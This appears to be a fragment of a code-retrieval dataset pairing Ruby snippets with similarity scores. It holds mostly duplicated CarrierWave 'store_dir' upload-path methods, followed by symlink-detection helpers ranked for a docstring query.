"docid": "d391c8880a251df69f333f64716ad450",
"score": "0.78100246",
"text": "def store_dir\n\t\t\"uploads/#{model.id}\"\n end",
"title": ""
},
{
"docid": "217a53a866db31452b50b323322c7373",
"score": "0.77967983",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n #\"public/uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "5f07e77dd01ee810221d72db078de774",
"score": "0.7783698",
"text": "def store_dir\n #logger.info \"path=uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "8ef32fab0c1856c90b7fd5cf66c58224",
"score": "0.7749936",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "8ef32fab0c1856c90b7fd5cf66c58224",
"score": "0.7749387",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "8ef32fab0c1856c90b7fd5cf66c58224",
"score": "0.7749387",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "8ef32fab0c1856c90b7fd5cf66c58224",
"score": "0.7749387",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "8ef32fab0c1856c90b7fd5cf66c58224",
"score": "0.7749387",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "8ef32fab0c1856c90b7fd5cf66c58224",
"score": "0.7749387",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "e1d9d93bdcb7cd2dc8165ebca112a79d",
"score": "0.7731245",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "ddcb76c1148fc47e1469d4bea96cc4d2",
"score": "0.77216107",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0c0abcf4b1710ff03e3591d7030fff75",
"score": "0.7717102",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.user.uuid.to_s}/#{model.slug}\"\n end",
"title": ""
},
{
"docid": "6795ead37ca700c9ddfac48bfb045d6c",
"score": "0.7706145",
"text": "def store_dir\r\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\r\n end",
"title": ""
},
{
"docid": "a96e6c458f111bf1fb89c00b2c73430e",
"score": "0.7705277",
"text": "def store_dir\n #\"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n case Rails.env\n when 'production'\n Rails.root.join('..', '..', 'shared', 'uploads', \"#{model.user_id}\", \"#{model.created_at.year}\", \"#{model.created_at.month}\", \"#{model.created_at.day}\", \"#{model.id}\").to_s\n when 'development', 'test'\n Rails.root.join('uploads', \"#{model.user_id}\", \"#{model.created_at.year}\", \"#{model.created_at.month}\", \"#{model.created_at.day}\", \"#{model.id}\").to_s\n end\n end",
"title": ""
},
{
"docid": "2dafca2e3de87a7577cad6cd4112a13a",
"score": "0.7682049",
"text": "def store_dir\n 'uploads/photos'\n end",
"title": ""
},
{
"docid": "dd49d6b7a2b779afebfb0ce8593d65b5",
"score": "0.7678975",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{get_last_dir_part(model.id)}\"\n end",
"title": ""
},
{
"docid": "d8f4f81bf571996ebca320a35a3e527b",
"score": "0.76778424",
"text": "def store_dir\n # \"/home/mzoneapp/api_v1/public/#{model.class.to_s.underscore}\"\n \"uploads/#{model.class.to_s.underscore}\"\n end",
"title": ""
},
{
"docid": "d06d2a440ba6561ca1437f03ac3768b7",
"score": "0.76593775",
"text": "def store_dir\n \"uploads/pictures/#{model.id}\"\n # Don't include \"public/\" in filepath, it's in the public/ directory by implication.\n end",
"title": ""
},
{
"docid": "e8022f547c93ddd2b56d50c4702e3de1",
"score": "0.7659289",
"text": "def store_dir\n Rails.root.join(\"uploads\", model.class.to_s.underscore, mounted_as.to_s, model.id.to_s).to_s\n end",
"title": ""
},
{
"docid": "db75443cd085ce3f066380c98237747a",
"score": "0.76532507",
"text": "def store_dir\n \"#{Rails.root}/public/uploads/attachments\"\n end",
"title": ""
},
{
"docid": "948355822696270818bbe2eace186000",
"score": "0.7650348",
"text": "def store_dir\n\t\t\"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n\tend",
"title": ""
},
{
"docid": "948355822696270818bbe2eace186000",
"score": "0.7650348",
"text": "def store_dir\n\t\t\"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n\tend",
"title": ""
},
{
"docid": "948355822696270818bbe2eace186000",
"score": "0.7650348",
"text": "def store_dir\n\t\t\"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n\tend",
"title": ""
},
{
"docid": "347f8016f5790c19aad5f844b7ce6779",
"score": "0.76495624",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.token}/\"\n end",
"title": ""
},
{
"docid": "24254f1dd9e069f11772675d2aa65bf3",
"score": "0.7646411",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{partition_dir(model.id)}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "bd70843ccb8a7e73cb2768fbe127f58c",
"score": "0.76388747",
"text": "def store_dir\n \"../private/uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "c106ce015e3a896d57b3388aabdf67f2",
"score": "0.7627948",
"text": "def store_dir\n \"uploads/#{model.class.to_s.demodulize.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "a4b8b491fbce1cc67cce876f95b2bb21",
"score": "0.7626716",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "a4b8b491fbce1cc67cce876f95b2bb21",
"score": "0.7626716",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "e4807fd44b175e311b491eb42ed0bbf9",
"score": "0.76190215",
"text": "def store_dir\n \"uploads/#{model.id}/\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.7616674",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.7616293",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "f8a38bdc19c17f93f1ec47e514dfe3cd",
"score": "0.7616262",
"text": "def store_dir\n \"uploads/#{model.request_id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
},
{
"docid": "0294bd05359717de7f34a28c7d70b626",
"score": "0.76152617",
"text": "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"title": ""
}
] |
ed8359e66c3b3606bc267c1d6fb34be5
|
Returns true if these attributes appear to describe a symlink.
|
[
{
"docid": "9ee4a0ac856510ff14b57cc8621a2869",
"score": "0.7541709",
"text": "def symlink?\n case type\n when T_SYMLINK then true\n when T_UNKNOWN then nil\n else false\n end\n end",
"title": ""
}
] |
[
{
"docid": "fbf79f65af779abff5dfe50ffad642fd",
"score": "0.76242495",
"text": "def symlink?\n type == :symlink\n end",
"title": ""
},
{
"docid": "d883c577feb6f9f62ada15b6a22e7c35",
"score": "0.75957197",
"text": "def symlink?\n @symlink\n end",
"title": ""
},
{
"docid": "50143d378f2c5202d219edcbcbae8cb6",
"score": "0.7465147",
"text": "def symlink?\n !!@symlink ||= false\n end",
"title": ""
},
{
"docid": "d91c0c953d665903b050ba1c066d4ba9",
"score": "0.7378079",
"text": "def symlink?\n false\n end",
"title": ""
},
{
"docid": "566a1c11ca6fa4af60975bd5eaf87a92",
"score": "0.7324148",
"text": "def symlink?(entry); end",
"title": ""
},
{
"docid": "a665994f43fda45e7f658d83aa6eca55",
"score": "0.7321266",
"text": "def symlink?() end",
"title": ""
},
{
"docid": "6b4e4d2a99ae427d9fee227ad54d6819",
"score": "0.69571936",
"text": "def symlink?(file_name); end",
"title": ""
},
{
"docid": "96983424c1d9225ef61e06f80c35b76e",
"score": "0.6823247",
"text": "def manage_symlink_access?\n false\n end",
"title": ""
},
{
"docid": "96983424c1d9225ef61e06f80c35b76e",
"score": "0.6823247",
"text": "def manage_symlink_access?\n false\n end",
"title": ""
},
{
"docid": "ab3dbe6c953c610e9327bc29446798c8",
"score": "0.677606",
"text": "def may_exist?\n\t\t\t\texist? or symlink?\n\t\t\tend",
"title": ""
},
{
"docid": "5450b30eecb5e37bd1d18e6e50d95279",
"score": "0.675643",
"text": "def symlink?(path)\n GLib.g_file_test(path, GLib::GFileTest::G_FILE_TEST_IS_SYMLINK)\n end",
"title": ""
},
{
"docid": "5c5c5f43ce3f34da84eecdf20e488d00",
"score": "0.6657937",
"text": "def can_symlink?(destination_path)\n File.exists?(destination_path) ? false : true\nend",
"title": ""
},
{
"docid": "5c5c5f43ce3f34da84eecdf20e488d00",
"score": "0.6657937",
"text": "def can_symlink?(destination_path)\n File.exists?(destination_path) ? false : true\nend",
"title": ""
},
{
"docid": "5c5c5f43ce3f34da84eecdf20e488d00",
"score": "0.6657937",
"text": "def can_symlink?(destination_path)\n File.exists?(destination_path) ? false : true\nend",
"title": ""
},
{
"docid": "5c5c5f43ce3f34da84eecdf20e488d00",
"score": "0.6657937",
"text": "def can_symlink?(destination_path)\n File.exists?(destination_path) ? false : true\nend",
"title": ""
},
{
"docid": "9f82e9802ffed1fbca8b62ce87ae5ad9",
"score": "0.65592206",
"text": "def remote_symlink_exists?(full_path)\n remote_filetest_passes?('-L', full_path)\n end",
"title": ""
},
{
"docid": "1d6c0d3858556fd30f26d577f84e3478",
"score": "0.64516973",
"text": "def symlink?(file_name)\n symlink_windows?(file_name)\n end",
"title": ""
},
{
"docid": "1fdba7dc48299f091792b81a339b6556",
"score": "0.6431704",
"text": "def is_linkkeys?(); @type == GRT_LINKKEYS; end",
"title": ""
},
{
"docid": "82a734d600db5f9c7a800a44a1eb628f",
"score": "0.6414956",
"text": "def symlink?(entry)\n site.safe && File.symlink?(entry) && symlink_outside_site_source?(entry)\n end",
"title": ""
},
{
"docid": "bb7c581c842345045fffa9ab2f3382a2",
"score": "0.6410711",
"text": "def symlink_exists?(path)\n run(\"test -h #{path}\").success?\n end",
"title": ""
},
{
"docid": "88a3b2621f91a0ba6d5ac63f960722c6",
"score": "0.63016045",
"text": "def has_symlink(symlink, file = nil)\n if file.nil?\n @commands << \"test -L #{symlink}\"\n else\n @commands << \"test '#{file}' = `readlink #{symlink}`\"\n end\n end",
"title": ""
},
{
"docid": "46b24126db612334c1ebd1384d0b29f0",
"score": "0.6196543",
"text": "def local_link?\n [1,2].include?(link_type)\n end",
"title": ""
},
{
"docid": "dd414f0e75461fc9f0b899059165fd0e",
"score": "0.6182883",
"text": "def require_links?\n @require_links\n end",
"title": ""
},
{
"docid": "e5f36b5255f593294377f1f5ff581ce3",
"score": "0.61490625",
"text": "def is_linktype?(); @type == GRT_LINKTYPE; end",
"title": ""
},
{
"docid": "28c33fa66ab34eb3ce7413d2df78cb94",
"score": "0.61054355",
"text": "def check_sym_link_for_file(changed)\n changed_file=changed[1..-1]\n changed_file.strip!\n @logger.debug(\"SymlinkVerifier check_sym_link_for_file with changed_file=>\" + changed_file)\n special_prop_value = attribute_checker(changed_file)\n @logger.debug(\"SymlinkVerifier check_sym_link_for_file prop=> #{special_prop_value}\")\n if special_prop_value==\"*\" \n \n @logger.debug(\"SymlinkVerifier check_sym_link_for_file link detected: \"<< changed_file )\n return false\n end\n return true\n end",
"title": ""
},
{
"docid": "250a321ce2c166c64f2a7aeb3b2b6700",
"score": "0.6081807",
"text": "def is_attrtable?(); @type == GRT_ATTRTABLE; end",
"title": ""
},
{
"docid": "9bf637af6a7cc5edf6e6e8d215f7d045",
"score": "0.60435295",
"text": "def link?\n !link.nil? && !link.empty?\n end",
"title": ""
},
{
"docid": "9bf637af6a7cc5edf6e6e8d215f7d045",
"score": "0.60435295",
"text": "def link?\n !link.nil? && !link.empty?\n end",
"title": ""
},
{
"docid": "dc5b6f5f887ad0db447172002b86194f",
"score": "0.6040426",
"text": "def symlink_file_in_dir?(filename)\n File.symlink?(filename) && File.dirname(File.readlink(filename)) == File.dirname(filename)\n end",
"title": ""
},
{
"docid": "855821078b7fbd73def8face3b731899",
"score": "0.60234314",
"text": "def attributes_are_defined?\n # attributes are defined\n return false if @attributes == []\n @attributes.each do |a|\n return false unless a.class == RelationAttribute\n end\n true\n end",
"title": ""
},
{
"docid": "06b8f2f8784d15f88512bd8b811769e2",
"score": "0.6010018",
"text": "def insync?(currentvalue)\n if stat = @resource.stat and stat.ftype == \"link\" and @resource[:links] != :follow\n self.debug \"Not managing symlink mode\"\n return true\n else\n return super(currentvalue)\n end\n end",
"title": ""
},
{
"docid": "ade6c17435b79c6b8d3bfc4be0a73792",
"score": "0.5979532",
"text": "def has_attribute?( name )\n accessories.each do |acc|\n return true if acc.name == name\n end\n false\n end",
"title": ""
},
{
"docid": "8c5a15b1577ecd4875c342cd037c70c7",
"score": "0.59641397",
"text": "def attribute?(attrib)\n attributes.attribute?(attrib)\n end",
"title": ""
},
{
"docid": "d13b37a988baea3e7c92bf42bf41af41",
"score": "0.5933357",
"text": "def has_link?(link_rel)\n c = self.links.select {|l| l[link_rel] }.count\n c == 0 ? false : true\n end",
"title": ""
},
{
"docid": "ad7ba7197fa15fdf5159007dbb01f0a3",
"score": "0.5921447",
"text": "def attribute_present?(name)\n @ldap_entry.attribute_names.include?(name)\n end",
"title": ""
},
{
"docid": "c6e18624ae24a2ed346d4eccb73fc3dc",
"score": "0.59006935",
"text": "def display_link_attributes(link)\n # Interface method\n end",
"title": ""
},
{
"docid": "ea239aede149e5629a29423a1bf20509",
"score": "0.5900609",
"text": "def insync?(currentvalue)\n if stat = @resource.stat and stat.ftype == \"link\" and @resource[:links] != :follow\n self.debug \"Not managing symlink mode\"\n return true\n else\n return super(currentvalue)\n end\n end",
"title": ""
},
{
"docid": "712f9da488d07d71793f72a58af773a2",
"score": "0.5897686",
"text": "def is_propattr?(); @type == GRT_PROPATTR; end",
"title": ""
},
{
"docid": "2b5c6aff050361f20d3b1c790e009025",
"score": "0.58752614",
"text": "def safe_stat(path)\n stat = @sftp.lstat!(path)\n raise \"#{path} is a symlink, possible security threat, bailing out\" if stat.symlink?\n true\n rescue Net::SFTP::StatusException\n false\n end",
"title": ""
},
{
"docid": "28d311070386d8e4862e5fb2da604868",
"score": "0.58377403",
"text": "def broken_symlink?(file)\n # JRuby's implementation of File.exist? returns true for broken\n # symlinks, so we need use File.size?\n Overcommit::Utils::FileUtils.symlink?(file) && File.size?(file).nil?\n end",
"title": ""
},
{
"docid": "fb164ad366b9be00edc85a4df821c4bf",
"score": "0.58352023",
"text": "def enabled?\n exists? && cmd(\"link show up\", sudo: false).include?(name)\n end",
"title": ""
},
{
"docid": "ba91841cc9c69cf95891e879b31aaa50",
"score": "0.58329827",
"text": "def has_link?(link)\n @links.has_key?(link) || @links.has_key?(rel(link))\n end",
"title": ""
},
{
"docid": "bd5b823f3efa581bedc04af3573e5899",
"score": "0.58151394",
"text": "def installed?\n path.exist? || path.symlink?\n end",
"title": ""
},
{
"docid": "7b107af01b48188d2ffbe1e0094b61d0",
"score": "0.58139664",
"text": "def has_attr?(n)\n find_all do |q|\n q.has_attribute n\n end\n end",
"title": ""
},
{
"docid": "bd9b886b1c810a01bab562c72a3bfc12",
"score": "0.58057636",
"text": "def dir_link?(link)\n link.content.match?(%r{\\/$}) ||\n link[:href].match?(%r{^(?!((http|https):\\/\\/|\\.{2}|\\/|\\?)).*\\/$})\n end",
"title": ""
},
{
"docid": "7af9b838886d61e9109ff33dbb05edb3",
"score": "0.5786117",
"text": "def ftype\n :symlink\n end",
"title": ""
},
{
"docid": "893b8cadd71c3eb1c3eaf06851dbf8ca",
"score": "0.57763433",
"text": "def should_add_extra_rel_attribute_values?\n config = @target_blank_config\n case config\n when nil, NilClass\n false\n else\n config.fetch(\"rel\", false)\n end\n end",
"title": ""
},
{
"docid": "4c7d5cccce82f669b6f503997dca5aaf",
"score": "0.57356185",
"text": "def attribute_alias?(new_name)\n attribute_aliases.key? new_name.to_s\n end",
"title": ""
},
{
"docid": "2995ba0113ee7e5bcf8c2a3abd0a7367",
"score": "0.5732054",
"text": "def is_link?\n self.type == 'Document::VirtualCollege' && !is_pdf?\n end",
"title": ""
},
{
"docid": "c8c1ed974c72fe74497c4ae5777468c2",
"score": "0.5728878",
"text": "def any_symlinks_in(dir)\n dir.ascend do |p|\n return true if (@path + p).symlink?\n end\n false\n end",
"title": ""
},
{
"docid": "e37c49b581ffdd5f8be9d3af296a9458",
"score": "0.5717938",
"text": "def attribute?(name)\n @attrs.has_key(name)\n end",
"title": ""
},
{
"docid": "c68e7b5ceabc341e8b0baaf7cdf4575e",
"score": "0.57118523",
"text": "def link_to_name?(linkname)\n Pathname.new(File.realpath(linkname)).cleanpath == Pathname.new(self.name).cleanpath\n end",
